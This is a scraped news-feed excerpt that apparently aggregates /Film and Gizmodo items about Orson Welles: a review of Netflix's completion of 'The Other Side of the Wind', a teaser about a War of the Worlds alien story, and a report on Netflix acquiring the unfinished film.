Time is a strange thing. Decades after this concept was written and (mostly) filmed, we now bear witness to this very dynamic made real. “Shot Missing” says a screen as witnessed by those left to sort through Hannaford’s mess. “Shot Missing” indeed; Welles never managed to film Hannaford’s actual death scene. We’re told about it, rather than shown, so it never feels entirely real. As we see journalists and other filmmakers attempt to create their own version of Hannaford, often while interviewing him face to face — “Can one truly know the artist?” Welles seems to ask — the form this search for Hannaford takes is but a similarly attempted re-creation. An approximation, one might say, of Welles’ original intentions, drawn from decades of the man’s work and the notes he left behind. And yet, just as Hannaford’s final film was a departure from his norms (it plays like a half-formed Antonioni), The Other Side of the Wind feels unlike any other Welles production, more in line with John Cassavetes and his improvisational cinéma vérité than the formalism of Touch of Evil or Citizen Kane.

In the mockumentary, Huston’s John Hannaford, a man whose aura feels impenetrable, establishes a complicated relationship to religion and femininity. He believes God to be a woman, but he doesn’t respect God, considering himself above her. He empowers his actress Oja Kodar with a rifle, enlisting her help to shoot dummy doubles of the actor who left him, but he never lets her speak. Hannaford’s pseudo-religious musings undoubtedly cast the director in the role of The Creator — he is imposing, and those around him seem to worship him even while they question his motives — but the most interesting perspective on this dynamic comes from Hannaford’s protégé Brooks Otterlake (Peter Bogdanovich) who describes himself as an apostle; where other journalists struggle to piece together a coherent image of Hannaford and his work, Otterlake claims to be writing the definitive Hannaford memoir, from a place of proximity. In the world of cinema, where meaning is indirect to begin with, those with the power over its translation and transmutation are as important as the prophets themselves; who, finally, will determine the meaning of Hannaford’s work and his career?

Who, one might be compelled to ask, will determine what The Other Side of the Wind was truly meant to be?

The mockumentary portions of the film are disorienting, presenting Hannaford, Otterlake and others (including Susan Strasberg as Juliette Rich, a parody of Pauline Kael) from a multitude of perspectives, often in quick succession. The film switches rapidly from colour to black-and-white and back again as the viewing party for Hannaford’s still-incomplete film is captured from every conceivable angle. Everyone peers in on Hannaford. Everyone is interviewed about Hannaford, and one would think that from all these varying perspectives, a clear portrait might emerge. And yet, Hannaford’s actions remain mysterious — Why does he create and destroy so many doubles of the actor who abandoned him? Is it a display of power, or a search for it? — rendering the film’s own form, a found-footage medley from every external perspective, little more than a fool’s errand. No perspective featured in the mockumentary is Hannaford’s; the only time we see through his eyes are when his The Other Side of the Wind unfolds on screen and a studio boss attempts to discern the meaning of the scenes he shot; he is, expectedly, way off the mark, unable to interpret the most basic cinematic language. As last hurrahs go, this one is vicious.

There’s little sense to be made of Welles’ The Other Side of the Wind as a straightforward narrative — even at a mere two hours, it feels like a far lengthier affair — but in all its swapping between stories, timelines and perspectives, it proves to be an alluring experiment. The experiment in question is carried out not by Welle,s of course, but by Netflix (and by editor Bob Murawski) because what we’re seeing isn’t so much an Orson Welles film about the unknowability of the artist as it is that very unknowability made manifest. We were never going to see whatever Orson Welles had originally intended, though perhaps this best-case-scenario is rightfully obtuse, making even more impossible a truly complete understanding of an artist whose name we all know.

/Film Rating: 6 out of 10

The post ‘The Other Side of the Wind’ Review: Netflix Revives an Orson Welles Artifact [NYFF] appeared first on /Film.

]]> https://briefnews.eu/the-other-side-of-the-wind-review-netflix-revives-an-orson-welles-artifact-nyff/feed/ 0 Imagine if Aliens Really Landed on the Night of Orson Welles' War of the Worlds Broadcast https://briefnews.eu/imagine-if-aliens-really-landed-on-the-night-of-orson-welles-war-of-the-worlds-broadcast/ https://briefnews.eu/imagine-if-aliens-really-landed-on-the-night-of-orson-welles-war-of-the-worlds-broadcast/#respond Sat, 22 Apr 2017 13:56:25 +0000 http://briefnews.eu/imagine-if-aliens-really-landed-on-the-night-of-orson-welles-war-of-the-worlds-broadcast/ [unable to retrieve full-text content]

Only, not how Welles described them on October 30, 1938 to thousands of petrified radio listeners. These peaceful aliens—blessed with a majestic sense of timing—touch down in a much quieter place, and are seen by just a handful of witnesses, chiefly a small boy whose curiosity overtakes any fear he might feel. That’s…

Read more…

Gizmodo

]]> https://briefnews.eu/imagine-if-aliens-really-landed-on-the-night-of-orson-welles-war-of-the-worlds-broadcast/feed/ 0 Netflix Will Complete Orson Welles’ Last Film ‘The Other Side of the Wind’ https://briefnews.eu/netflix-will-complete-orson-welles-last-film-the-other-side-of-the-wind/ https://briefnews.eu/netflix-will-complete-orson-welles-last-film-the-other-side-of-the-wind/#respond Wed, 15 Mar 2017 06:57:56 +0000 http://briefnews.eu/netflix-will-complete-orson-welles-last-film-the-other-side-of-the-wind/ orson welles

Filmmaker Orson Welles has left behind two holy grails for film aficionados to chase. One is the footage cut from his original version of The Magnificent Ambersons, which as far as anyone can tell, doesn’t exist anymore. The other is The Other Side of the Wind, which is the long-uncompleted final film from Welles. Frank Marshall, who served as a Production Manager on the original production, has been trying to get this important film completed for over forty years, and now the Indiana Jones producer has finally found a partner to make this dream a reality.

Netflix has acquired global rights and will finance the completion and restoration of the legendary filmmaker Orson Welles’ last film, The Other Side of the Wind. Get the full details, after the jump.

The Other Side of the Wind

The Other Side of the Wind was shot by Orson Welles beginning in 1970, featuring a screenplay by Welles and Oja Kodar. The Hollywood satire focuses on the last days of a legendary film director named Jake Hannaford (played by John Huston), who is struggling to forge his last great comeback as a major filmmaker. Hannaford is hard at work on his final masterpiece, The Other Side of The Wind. The film also stars Peter Bogdanovich, Oja Kodar, Robert Random, Lilli Palmer, Edmond O’Brien, Cameron Mitchell, Mercedes McCambridge, Susan Strasberg, Norman Foster, Paul Stewart and Dennis Hopper.

Producer Frank Marshall will work in close collaboration with fellow producer Filip Jan Rymsza and oversee the restoration and completion of the film with consultation from Peter Bogdanovich. It is great to see Netflix playing a role in restoring this piece of film history, and also interesting that they are basically laying claim to this long lost holy grail as part of their original films initiative.

“Like so many others who grew up worshipping the craft and vision of Orson Welles, this is a dream come true,” said Ted Sarandos, Netflix Chief Content Officer. “The promise of being able to bring to the world this unfinished work of Welles with his true artistic intention intact, is a point of pride for me and for Netflix. Cinephiles and film enthusiasts around the world will experience the magic of Orson Welles once again or for the very first time.”

“I can’t quite believe it, but after 40 years of trying, I am so very grateful for the passion and perseverance from Netflix that has enabled us to, at long last, finally get into the cutting room to finish Orson’s last picture,” said Frank Marshall.

“We could not ask for better partners or a better home. I’m immensely grateful to the whole Netflix team for their tireless effort and unwavering support. With Netflix’s global reach, this will undoubtedly be the widest release of any Orson Welles film, if not all of them combined,” said producer and founder of Royal Road Entertainment, Filip Jan Rymsza.

The post Netflix Will Complete Orson Welles’ Last Film ‘The Other Side of the Wind’ appeared first on /Film.


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